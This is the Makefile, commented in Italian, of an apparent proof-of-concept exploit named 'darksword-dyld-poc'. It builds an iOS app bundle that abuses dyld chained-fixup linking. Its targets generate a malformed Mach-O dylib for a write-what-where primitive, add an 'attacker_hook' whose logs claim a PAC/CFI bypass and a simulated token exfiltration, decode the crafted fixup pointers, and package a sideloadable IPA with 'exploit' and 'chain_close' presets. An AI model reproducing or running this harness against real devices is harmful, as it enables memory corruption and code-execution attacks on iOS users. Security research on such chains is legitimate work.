README.md
Rendering markdown...
# ===========================================================================
# darksword-dyld-poc — Makefile
# Riproduce il primitivo dyld page-in linking usato nella catena Darksword.
#
# Struttura sorgenti:
# src/launcher.c — launcher (due thread + dispatch chain-close)
# generators/gen_exports.py — genera exports.c (~N simboli vuoti)
# generators/gen_client.py — genera client.c (~N import, stress dyld)
# generators/gen_malformed_dylib.py — genera libmalformed.dylib (Mach-O custom)
# tools/scan_pointers.py — scansione sezioni pointer GOT/non-lazy
# tools/inspect_fixups.py — parser LC_DYLD_CHAINED_FIXUPS
#
# Output generati a build time (non committati):
# exports.c / client.c — sorgenti C temporanei
# libexports.dylib — provider simboli (write_target_value, attacker_hook)
# libclient.dylib — dylib con N bind targets (stress gate dyld4)
# libmalformed.dylib — Mach-O hand-crafted con chain fixup controllata
# PoCApp — launcher arm64/arm64e
# PoCApp.ipa — bundle pronto per Sideloadly
#
# Preset:
# make build completa (arm64, default)
# make stress arm64e + malformed pagein
# make exploit pagein + target offset 0x10
# make chain_close exploit + dispatch demo (attacker_hook via evento)
#
# Tunables:
# SYMBOLS = numero bind targets libclient (default 99000)
# STACK_KB = stack size thread worker (default 128)
# BURN_KB = KB bruciati prima di dlopen (default 0 = auto)
# MARGIN_KB = margine auto-burn (default 24)
# ===========================================================================
APP_NAME := PoCApp
BUNDLE_ID := com.example.poc.dyld.8D4D5BMR8H
SYMBOLS ?= 99000
STACK_KB ?= 128
BURN_KB ?= 0
MARGIN_KB ?= 24
SDK_PATH := $(shell xcrun --sdk iphoneos --show-sdk-path)
TARGET := arm64-apple-ios16.0
CFLAGS := -isysroot $(SDK_PATH) -target $(TARGET) -O1 -Xlinker -fixup_chains
LDFLAGS := -isysroot $(SDK_PATH) -target $(TARGET)
PAYLOAD_DIR := Payload
APP_DIR := $(PAYLOAD_DIR)/$(APP_NAME).app
IPA := $(APP_NAME).ipa
# ===========================================================================
.PHONY: all clean compile generate verify package resign help
.PHONY: scan stress exploit chain_close
all: clean generate compile verify package
@echo ""
@echo "╔══════════════════════════════════════╗"
@echo "║ Build completata: $(IPA) ║"
@echo "╚══════════════════════════════════════╝"
@echo "Trascina $(IPA) in Sideloadly per installare."
# ---------------------------------------------------------------------------
# 1. Generazione codice C + Mach-O malformato
# ---------------------------------------------------------------------------
generate:
@echo "[1/4] Generazione sorgenti..."
@echo " SYMBOLS=$(SYMBOLS) STACK_KB=$(STACK_KB) BURN_KB=$(BURN_KB)"
@SYMBOLS=$(SYMBOLS) STACK_KB=$(STACK_KB) \
python3 generators/gen_exports.py > /dev/null
@SYMBOLS=$(SYMBOLS) STACK_KB=$(STACK_KB) \
BURN_KB=$(BURN_KB) MARGIN_KB=$(MARGIN_KB) \
python3 generators/gen_client.py > /dev/null
@echo " Generazione libmalformed.dylib..."
@ARM64E=$(ARM64E) MALFORM_PAGEIN=$(MALFORM_PAGEIN) \
MALFORM_TARGET_OFFSET=$(MALFORM_TARGET_OFFSET) \
CHAIN_CLOSE=$(CHAIN_CLOSE) \
python3 generators/gen_malformed_dylib.py libmalformed.dylib > /dev/null
@echo " Aggiunta simboli sentinella a exports.c..."
@echo "" >> exports.c
@echo "/* Simboli sentinella per il primitivo write-what-where */" >> exports.c
@echo "#include <stdio.h>" >> exports.c
@echo "#include <os/log.h>" >> exports.c
@echo 'void write_target_value(void) { fprintf(stderr, "[hook] write_target_value() eseguita\n"); }' >> exports.c
@echo 'void write_target_value2(void) { fprintf(stderr, "[hook] write_target_value2() eseguita\n"); }' >> exports.c
@echo 'void attacker_hook(void) { os_log_fault(OS_LOG_DEFAULT, "[DARKSWORD STAGE-2] attacker_hook: in esecuzione via dispatch naturale"); os_log_fault(OS_LOG_DEFAULT, "[DARKSWORD STAGE-2] CFI bypass confermato: dyld ha fornito PAC-valid ptr"); os_log_fault(OS_LOG_DEFAULT, "[DARKSWORD STAGE-2] simulazione esfiltrazione: token=eyJhbGciOiJSUzI1NiJ9.SENSITIVE.sig"); }' >> exports.c
# ---------------------------------------------------------------------------
# 2. Compilazione binari
# ---------------------------------------------------------------------------
compile:
@echo "[2/4] Compilazione..."
@echo " libexports.dylib (provider simboli + attacker_hook)..."
clang $(CFLAGS) \
-dynamiclib exports.c \
-o libexports.dylib \
-install_name @executable_path/libexports.dylib
@echo " libclient.dylib ($(SYMBOLS) bind targets)..."
clang $(CFLAGS) \
-dynamiclib client.c \
-L. -lexports \
-o libclient.dylib \
-install_name @executable_path/libclient.dylib
@echo " $(APP_NAME) (launcher two-thread + dispatch)..."
clang $(LDFLAGS) \
src/launcher.c \
-framework Foundation \
-o $(APP_NAME)
# ---------------------------------------------------------------------------
# 3. Verifica strutture Mach-O
# ---------------------------------------------------------------------------
verify:
@echo "[3/4] Verifica..."
@echo -n " → libclient bind targets: " && \
nm -u libclient.dylib 2>/dev/null | wc -l | tr -d ' '
@echo -n " → LC_DYLD_CHAINED_FIXUPS libclient: " && \
(otool -l libclient.dylib 2>/dev/null | grep -q "CHAINED" \
&& echo "OK" || echo "ATTENZIONE: non trovato")
@echo -n " → LC_DYLD_CHAINED_FIXUPS libmalformed: " && \
(otool -l libmalformed.dylib 2>/dev/null | grep -q "CHAINED" \
&& echo "OK" || echo "ATTENZIONE: non trovato")
@echo " → Struttura libmalformed:" && python3 -c "\
import struct; \
d = open('libmalformed.dylib','rb').read(); \
cb = struct.unpack('<Q',d[0x8000:0x8008])[0]; \
wt = struct.unpack('<Q',d[0x8010:0x8018])[0]; \
ca = struct.unpack('<Q',d[0x8018:0x8020])[0]; \
wt2= struct.unpack('<Q',d[0x8020:0x8028])[0]; \
endptr = struct.unpack('<Q',d[0xBFF8:0xC000])[0]; \
bind_bit = (wt >> 63) & 1; \
ordinal = wt & 0xFFFFFF; \
addend = (wt >> 24) & 0xFF; \
next_off = (wt >> 51) & 0xFFF; \
print(' canary_before:', '0x{:016X}'.format(cb), 'OK' if cb==0xAAAAAAAAAAAAAAAA else 'ERRORE'); \
print(' encoded_ptr :', '0x{:016X}'.format(wt), 'bind' if bind_bit else 'rebase'); \
print(' ordinal=', ordinal, 'addend=', addend, 'next=', next_off); \
print(' canary_after :', '0x{:016X}'.format(ca), 'OK' if ca==0xBBBBBBBBBBBBBBBB else 'ERRORE'); \
print(' encoded_ptr2 :', '0x{:016X}'.format(wt2)); \
print(' encoded_end :', '0x{:016X}'.format(endptr), '(page_end)'); \
import sys; \
def u32(b,o): return int.from_bytes(b[o:o+4],'little'); \
def u16(b,o): return int.from_bytes(b[o:o+2],'little'); \
def u64(b,o): return int.from_bytes(b[o:o+8],'little'); \
off=0; ncmds=u32(d,16); lc_off=32; dataoff=0; \
[ (setattr(sys,'_x',u32(d,lc_off+8)) or None) or None for _ in range(ncmds) if u32(d,lc_off)==0x80000034 ]; \
lc_off=32; \
for i in range(ncmds): \
cmd=u32(d,lc_off); cmdsize=u32(d,lc_off+4); \
if cmd==0x80000034: dataoff=u32(d,lc_off+8); datasize=u32(d,lc_off+12); \
lc_off+=cmdsize; \
h_off=dataoff; starts_off=u32(d,h_off+4); \
si_off=h_off+starts_off; seg_count=u32(d,si_off); \
seg_info_off=u32(d,si_off+4*1); \
seg_starts_off=si_off+seg_info_off; \
page_size=u16(d,seg_starts_off+4); ptr_fmt=u16(d,seg_starts_off+6); \
seg_vm=u64(d,seg_starts_off+8); \
ps0=u16(d,seg_starts_off+22); \
print(f' pointer_format: 0x{ptr_fmt:X} seg_vm=0x{seg_vm:X} page_start[0]=0x{ps0:X}'); \
DATA_VM=0x8000; loc_vm=seg_vm+ps0; \
in_range=(DATA_VM<=loc_vm<DATA_VM+page_size); \
print(f' loc(vm): 0x{loc_vm:X} [IN-RANGE]' if in_range else f' loc(vm): 0x{loc_vm:X} [OOB]'); \
"
# ---------------------------------------------------------------------------
# Scansione sezioni pointer (GOT/non-lazy) WRITABLE vs READ-ONLY
# ---------------------------------------------------------------------------
scan:
@echo "[scan] Pointer sections in Mach-O:"
@python3 tools/scan_pointers.py PoCApp libexports.dylib libclient.dylib 2>/dev/null || true
# ---------------------------------------------------------------------------
# Ispezione manuale dei chained fixups
# ---------------------------------------------------------------------------
inspect:
@python3 tools/inspect_fixups.py libmalformed.dylib
# ---------------------------------------------------------------------------
# Preset
# ---------------------------------------------------------------------------
stress: clean
@$(MAKE) ARM64E=1 MALFORM_PAGEIN=1
exploit: clean
@$(MAKE) MALFORM_PAGEIN=1 MALFORM_TARGET_OFFSET=0x10
chain_close: clean
@$(MAKE) MALFORM_PAGEIN=1 MALFORM_TARGET_OFFSET=0x10 CHAIN_CLOSE=1
# ---------------------------------------------------------------------------
# 4. Packaging IPA
# ---------------------------------------------------------------------------
package:
@echo "[4/4] Packaging IPA..."
mkdir -p $(APP_DIR)
cp $(APP_NAME) $(APP_DIR)/
cp libexports.dylib $(APP_DIR)/
cp libclient.dylib $(APP_DIR)/
mkdir -p $(APP_DIR)/Frameworks
cp libmalformed.dylib $(APP_DIR)/Frameworks/
@$(MAKE) --no-print-directory _plist
@$(MAKE) --no-print-directory entitlements.plist
@echo " Firma ad-hoc..."
codesign -s - --force $(APP_DIR)/libexports.dylib
codesign -s - --force $(APP_DIR)/libclient.dylib
codesign -s - --force --no-strict $(APP_DIR)/Frameworks/libmalformed.dylib || \
{ echo " Avviso: skip firma libmalformed.dylib"; true; }
codesign -s - --force --entitlements entitlements.plist $(APP_DIR)/$(APP_NAME) \
2>/dev/null || codesign -s - --force $(APP_DIR)/$(APP_NAME)
@echo " Creazione archivio..."
zip -qr $(IPA) $(PAYLOAD_DIR)
@echo " Dimensione IPA: $$(du -sh $(IPA) | cut -f1)"
# ---------------------------------------------------------------------------
# Genera entitlements minimi
# ---------------------------------------------------------------------------
entitlements.plist:
@printf '%b' '<?xml version="1.0" encoding="UTF-8"?>\n\
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">\n\
<plist version="1.0">\n\
<dict>\n\
<key>get-task-allow</key>\n\
<true/>\n\
</dict>\n\
</plist>\n' > entitlements.plist
# ---------------------------------------------------------------------------
# Info.plist del bundle
# ---------------------------------------------------------------------------
_plist:
@printf '%b' '<?xml version="1.0" encoding="UTF-8"?>\n\
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">\n\
<plist version="1.0">\n\
<dict>\n\
<key>CFBundleExecutable</key>\n\
<string>$(APP_NAME)</string>\n\
<key>CFBundleIdentifier</key>\n\
<string>$(BUNDLE_ID)</string>\n\
<key>CFBundleInfoDictionaryVersion</key>\n\
<string>6.0</string>\n\
<key>CFBundleName</key>\n\
<string>$(APP_NAME)</string>\n\
<key>CFBundlePackageType</key>\n\
<string>APPL</string>\n\
<key>CFBundleShortVersionString</key>\n\
<string>1.0</string>\n\
<key>CFBundleVersion</key>\n\
<string>1</string>\n\
<key>LSRequiresIPhoneOS</key>\n\
<true/>\n\
<key>UIRequiredDeviceCapabilities</key>\n\
<array><string>arm64</string></array>\n\
<key>MinimumOSVersion</key>\n\
<string>16.0</string>\n\
</dict>\n\
</plist>\n' > $(APP_DIR)/Info.plist
# ---------------------------------------------------------------------------
# Rifirma con identità reale
# Uso: make resign IDENTITY="iPhone Developer: ..." PROFILE=embedded.mobileprovision
# ---------------------------------------------------------------------------
resign:
ifndef IDENTITY
$(error Usa: make resign IDENTITY="nome certificato" PROFILE=file.mobileprovision)
endif
cp $(PROFILE) $(APP_DIR)/embedded.mobileprovision
codesign -s "$(IDENTITY)" --force --entitlements entitlements.plist $(APP_DIR)/libexports.dylib
codesign -s "$(IDENTITY)" --force --entitlements entitlements.plist $(APP_DIR)/libclient.dylib
codesign -s "$(IDENTITY)" --force --entitlements entitlements.plist $(APP_DIR)/Frameworks/libmalformed.dylib
codesign -s "$(IDENTITY)" --force --entitlements entitlements.plist $(APP_DIR)/$(APP_NAME)
rm -f $(IPA) && zip -qr $(IPA) $(PAYLOAD_DIR)
@echo "[resign] Fatto: $(IPA)"
# ---------------------------------------------------------------------------
# Pulizia (solo output generati, non i sorgenti in src/ generators/ tools/)
# ---------------------------------------------------------------------------
clean:
rm -rf \
client.c exports.c \
libexports.dylib libclient.dylib libmalformed.dylib \
$(APP_NAME) \
$(PAYLOAD_DIR) $(IPA) \
entitlements.plist
# ---------------------------------------------------------------------------
help:
@echo "Targets:"
@echo " make Build completa (clean→generate→compile→verify→package)"
@echo " make chain_close Demo Darksword: dispatch naturale via dyld PAC pointer"
@echo " make exploit Pagein + target offset 0x10 (stable)"
@echo " make stress Stress mode arm64e + malformed pagein"
@echo " make scan Scansione sezioni pointer GOT nei binari compilati"
@echo " make inspect Parser LC_DYLD_CHAINED_FIXUPS di libmalformed.dylib"
@echo " make SYMBOLS=50000 Build più veloce (meno bind targets)"
@echo " make STACK_KB=64 Stack thread più piccolo"
@echo " make resign IDENTITY=... PROFILE=... Rifirma con certificato reale"
@echo " make clean Rimuove output generati"